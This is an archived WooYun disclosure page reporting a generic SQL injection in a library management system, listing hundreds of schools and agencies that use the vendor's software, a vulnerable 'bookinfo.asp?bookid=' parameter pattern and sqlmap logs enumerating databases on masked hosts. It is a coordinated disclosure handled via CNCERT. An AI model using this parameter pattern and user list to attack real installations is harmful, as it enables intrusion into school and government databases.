当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129376

漏洞标题:某图书馆系统存在通用SQL注入【涉及全国】

相关厂商:某图书馆系统

漏洞作者: 雅柏菲卡

提交时间:2015-07-29 15:24

修复时间:2015-10-30 09:22

公开时间:2015-10-30 09:22

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-29: 细节已通知厂商并且等待厂商处理中
2015-08-01: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-08-04: 细节向第三方安全合作伙伴开放
2015-09-25: 细节向核心白帽子及相关领域专家公开
2015-10-05: 细节向普通白帽子公开
2015-10-15: 细节向实习白帽子公开
2015-10-30: 细节向公众公开

简要描述:

........

详细说明:

..............

漏洞证明:

http://**.**.**.**/server/tsg/lib_ml.asp【官网的用户名录】
华阜软件 部分用户名录
广东省 

广州市 - 城区

广州市教育局教学研究室
广东实验中学
广州市第一中学
广州市第二中学
广州市第三中学
广州市第四中学
广州市第五中学
广州市第六中学
广州市第七中学
广州市第十中学
广州市第十一中学
广州市第十二中学
广州市第十三中学
广州市第十六中学
广州市第十七中学
广州市第二十一中学
广州市第二十三中学
广州市第二十六中学
广州市第二十七中学
广州市第三十中学
广州市第三十二中学
广州市第三十四中学
广州市第三十六中学
广州市第三十七中学
广州市第三十九中学
广州市第四十中学
广州市第四十一中学
广州市第四十二中学
广州市第四十四中学
广州市第四十六中学
广州市第四十七中学
广州市第四十九中学
广州市第五十二中学
广州市第五十九中学
广州市第六十四中学
广州市第六十八中学
广州市第七十一中学
广州市第七十五中学
广州市第七十八中学
广州市第七十九中学
广州市第八十中学
广州市第八十二中学
广州市第八十六中学
广州市第八十九中学
广州市第九十一中学
广州市第九十五中学
广州市第九十七中学
广州市第九十八中学
广州市第一○二中学
广州市第一○九中学
广州市第一一三中学
广州市第一二三中学
广州市培才高级中学
广州市长兴中学
广雅实验学校
广州大学附属中学大学城校区
广州市天河中学高中校区
华师附中新世界学校
广州市玉岩中学
广州市聚德中学
广州市荔湾区双桥学校
广州市第113中学陶育实验学校
广州市第四十四中学(西校区)
广州市第四十七中学汇景实验学校
广州市第四十七中学(龙口校区)
广州市第四十七中学(名雅校区)
广州市第四十七中学(天润校区)
广州市第九十七中学金碧校区
广州港技工学校
广州市司法学校
广州市建筑工程学校
广州市旅游商贸职业学校
广州市黄埔职业高级中学
广州市艺术学校
广州市盲人中专学校
广州市第二工艺美术学校
广州市荔湾区职业技术学校
广州市海珠商务职业学校(108)
广州市海珠商务职业学校(106)
广州汽车工业技工学校
广州市工贸技师学院
广州市白云行知职业技术学校
广州市中学生劳动技术学校
广州市聋人学校
广东省旅游学校
广东省科技职业技术学校
广东省新闻出版高级技工学校
广州市越秀区教师进修学校
广州市教育科学研究所
广东省电信机关图书馆
广州市白云区教育发展中心
广州白云国际机场易登机商旅服务有限公司
广州电装有限公司
国家海洋局南海环境监测中心
广东省公安厅
广州市公安局
广东电网责任有限公司电力科学研究院
华南师范大学附属中学
广东广雅中学
广东执信中学
广州市育才中学
中山大学附属中学
广东华侨中学
广东协和高级中学
广州市培正中学
北大附中广州实验学校
广州华美英语实验学校
广州市南武中学
广州市南武中学南校区
广东实验中学天河校区
广州市蓝天中学
广州市江南中学
广州市晓园中学
广州市西关培英中学
广州市恒福中学
广州市长堤真光中学
广州市广园中学
广州铁路第五中学
广州市东环中学
广州市沙东中学
广州市五羊中学
广州市流花中学
广州市海珠区广纸学校
广州市南武实验学校
广州市汾水中学
广州市培英中学
广州市东圃中学
广州市东圃中学北校区
广州市南岗中学
广州市知用中学
广州市珠江中学
广州市育才实验中学
广州市八一实验学校
广州市开发区中学
广州市沙园中学
广州市梅花中学
广州市真光中学
广州市萝岗区东区中学
广东实验中学(初中校区)
广州市第一中学(初中校区)
广州市第二中学(初中校区)
广州市第五中学(初中校区)
广州市第七十八中学(东校区)
广州市文伟中学
广州市铁一中学
广州市铁一中学(亚运村)
广州市豪贤中学
广州市培英中学
广州市广外附设外语学校
广州市白云中学
广州市白云中学金沙校区
广州市培英中学太和校区
广州市第一一三中学(东方校区)
广州市天河中学(花城校区)
广州市天河中学(天河东校区)
广州市华颖外国语学校
广州市天荣中学
广州市骏景中学
广州市东晓中学
广州市花地中学
华南理工大学附属小学
广州市天河区沙河小学
广州市天河区杨箕小学
广州市芳村区大策直街小学
广州市芳村区林凤娥小学
广州市海珠区绿翠小学
广州市海珠区新洲小学
广州市海珠区聚德西路小学
广州市海珠区龙潭小学
广州市卫国尧纪念小学
广州市同福中路第一小学
广州市建设大马路小学
广州市东山区署前路小学
广州市东山区永曜北小学
广州市荔湾区西华路小学
广州市梅花村小学
广州市中山二路小学
广州市白云区黄边小学
广州市黄埔区文冲小学
广州市白云区汇侨第一小学
广州市白云区集贤小学
广州市越秀区少年儿童体校
广州市东山培正小学
广州市越秀区秉正小学
广州市荔湾区耀华小学
广州市真光中英文小学
广州市白云区华师附中实验小学
广州市越秀区养正小学
广州市海珠区汇源大街小学
广州市海珠区海鸥幼儿园
广州市越秀区东风东路小学
广州市越秀区云山小学
广州市越秀区文德路小学
广州市海珠区晓港湾小学

广州市 - 郊市

广东仲元中学
广东仲元实验学校
华南师大附中番禺学校
广州市番禺区星海中学
广州市番禺区象贤中学
广州市番禺区洛溪新城中学
广州市番禺区石碁中学
广州市番禺区石碁二中
广州市番禺区石碁三中
广州市番禺区市桥中学
广州市番禺区市桥二中
广州市番禺区南村中学
广州市番禺区市桥侨联中学
广州市番禺区钟村职业技术学校
广州市番禺区钟村中学
广州市番禺区南阳里小学
广州市番禺区钟村锦绣小学
番禺区南村镇锦绣香江小学
华南师大附属康大学校
广州市增城香江学校
广州市番禺区大岗中学
广州市番禺区东风中学
番禺区新造职业技术学校
广东番禺祈福英语实验学校
广东番禺桥城中学
广州市花都区新华中学
广州市花都区秀全中学
广州市花都区实验中学
广州市花都区邝维煜纪念中学
广州市花都区培新中学
广州市花都区狮峰中学
广州市花都区花东中学
广州市花都区长岗中学
广州市花都区赤妮中学
广州市花都区赤妮圩小学
广州市花都区冠华小学

佛山市

佛山市第一中学
佛山市第三中学高中校区
佛山市第三中学初中校区
佛山市广播电视大学
佛山市禅城区城北中学
佛山市南海广播电视大学
佛山市南海区罗村高级中学
佛山市高明区第一中学
佛山市高明区纪念中学
佛山市南海区西樵高级中学
广东电网公司佛山南海供电局
佛山市三水区工业中等专业学校
佛山市桂城职业技术学校
佛山市禅城区南庄中学
佛山市汾江中学
佛山市实验学校
佛山市鸿业小学
佛山市三水区白坭镇中心小学
华师附中南海实验高中
佛山市南海中学
佛山市南海区黄岐高级中学
佛山市南海区第一中学
佛山市南海区平洲第一初级中学
佛山市南海实验中学
佛山市南海西樵中学
佛山市三水区华侨中学
佛山市三水中学附属初中
佛山市三水实验中学
佛山市三水区实验小学
佛山市顺德区郑裕彤中学
佛山市第六中学
佛山市三水区理工(技工)学校
佛山市南海区黄岐医院
佛山市禅城区南庄镇中心小学
佛山市禅城区环湖小学

东莞市

东莞市东莞中学
东莞市东莞高级中学
东莞市莞城一中
东莞市莞城二中(玉兰中学)
东莞市华南师大嘉玛学校
东莞市长安中学
东莞市东华高级中学
东莞市济川中学
东莞市东城区花园小学
东莞市第六高级中学
东莞市东华小学
东莞市石龙中学
东莞市石龙二中
东莞市东莞实验中学
东莞市光明中学
东莞市虎门三中
东莞市望牛敦中学
东莞新世纪英才学校
东莞市虎门镇龙眼小学
东莞市教师进修学校
东莞市麻涌中学

深圳市

深圳市西乡中学
深圳市上步中学
深圳市坪山新区坪山高级中学
深圳市坪山新区实验学校
深圳市光明新区公明中学
深圳市龙岗区坪山中学
深圳市罗湖区笋岗中学
深圳市光明新区高级中学
深圳市福田区彩田学校

珠海市

珠海艺术职业学院

汕头市

汕头市第一中学
汕头工艺美术学校
汕头市六都中学

汕尾市

华南师大附中汕尾学校

揭阳市

揭东县第二中学

清远市

清城区第一中学(华侨中学)
清远市第三中学
英德市第一中学
清城区职业中学
英德市职业技术学校

中山市

中山市第一中学
中山市濠头中学
中山市杨仙逸中学
中山市石岐中心小学
中山市石岐中心小学大信学校

惠州市

惠州市第一中学

阳江市

阳春市第一中学
广东两阳中学
阳春市实验中学
阳东广雅学校(小学部和中学部)

韶关市

广东北江中学
韶关市第一中学
韶关市第五中学
韶关市曲江初级中学
韶关市曲江区九龄小学
韶关市曲江中学
韶关市曲江区城南小学
广东北江实验学校
翁源中学
韶关市中等职业技术学校
韶关市曲江职业技术学校
韶关市仁化县第一中学
韶关市曲江区实验小学

梅州市

梅州市东山中学
梅州市蕉岭中学
梅州市职业技术学校
梅州市梅江区嘉应中学
梅州市曾宪梓中学
梅州市梅江区联合中学
梅州市梅江区乐育中学

潮州市

潮州市饶平县城西实验中学


江门市

鹤山市鹤华中学
江门市江海区麻园中学
江门市江海区江南小学
江门市江海区滘头小学
江门市江海区礼乐中心小学
江门市江海区麻一佑启学校
江门市江海区华兴小学
江门市江海区麻二金紫学校
江门市外海中学
江门市礼乐中学
江门市江海区银泉小学
江门市江海区外海街道中心小学
江门市江海区中路小学
江门市江海区新民小学
江门市江海区滘北小学

河源市

河源市第一中学
河源市技工学校

肇庆市

高要市第一中学


湛江市

湛江市第五中学

北京市


北京市公安局公安交通管理局教导支队
日本国际交流基金会北京事务所
北京航空航天大学附属小学
上海市


上海市复兴实验中学
山东省


德州市禹城第一中学
德州市禹城综合高中
湖南省


长沙市长郡中学
广西省


南丹高级中学
福建省


建宁县第一中学
平潭县城东小学
海南省


海南省红光农场中心小学
海南省红光农场中学
贵州省


黔西南州职业技术学院
重庆市


重庆市双桥区双路中学
重庆市双桥区实验小学
重庆市双桥区实验中学
重庆市双桥区通桥镇小学
湖北省


黄石市第三中学
西藏自治区


拉萨中学
1、http://**.**.**.**:8002/userlib/searchbook/bookinfo.asp?bookid=65436
available databases [10]:
[*] Book
[*] db_psy_hsch
[*] Lib
[*] master
[*] model
[*] msdb
[*] Northwind
[*] Paper
[*] pubs
[*] tempdb
2、http://**.**.**.**/tsgweb/userlib/searchbook/bookinfo.asp?bookid=80075
available databases [19]:
[*] 91z
[*] ApaDLibrary_2
[*] Book
[*] Commonservice_2
[*] eztest
[*] Group_2
[*] gzer
[*] lib
[*] master
[*] model
[*] msdb
[*] MyLibrary_2
[*] Northwind
[*] Paper
[*] pubs
[*] sy_stuweb_db
[*] tempdb
[*] Usp_2
[*] xxsczbm
3、http://**.**.**.**:88/userlib/bookinfo.asp?bookid=27519
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[03:03:09] [INFO] fetching database names
[03:03:10] [WARNING] it was not possible to count the number of entries for the used SQL query. sqlmap will assume that it returns only one entry
available databases [1]:
4、http://**.**.**.**/userlib/bookinfo.asp?bookid=126381
[03:09:05] [INFO] testing Microsoft SQL Server
[03:09:05] [INFO] confirming Microsoft SQL Server
[03:09:06] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[03:09:06] [INFO] fetching database names
[03:09:06] [INFO] fetching number of databases
[03:09:06] [INFO] retrieved: 10[03:09:29] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[03:09:30] [INFO] retrieving the length of query output
[03:09:30] [INFO] retrieved: [03:09:51] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
17
[03:10:07] [INFO] retrieved: A_a______________ 2/17 (12%)
5、http://**.**.**.**/userlib/bookinfo.asp?bookid=31060
[03:21:53] [INFO] testing Microsoft SQL Server
[03:21:53] [INFO] confirming Microsoft SQL Server
[03:21:55] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[03:21:55] [INFO] fetching database names
[03:22:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[03:22:19] [WARNING] it was not possible to count the number of entries for the used SQL query. sqlmap will assume that it returns only one entry
available databases [1]:

修复方案:

..........

版权声明:转载请注明来源 雅柏菲卡@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-08-01 09:20

厂商回复:

cnvd确信并复现所述情况,已经转由cncert下发给广东分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论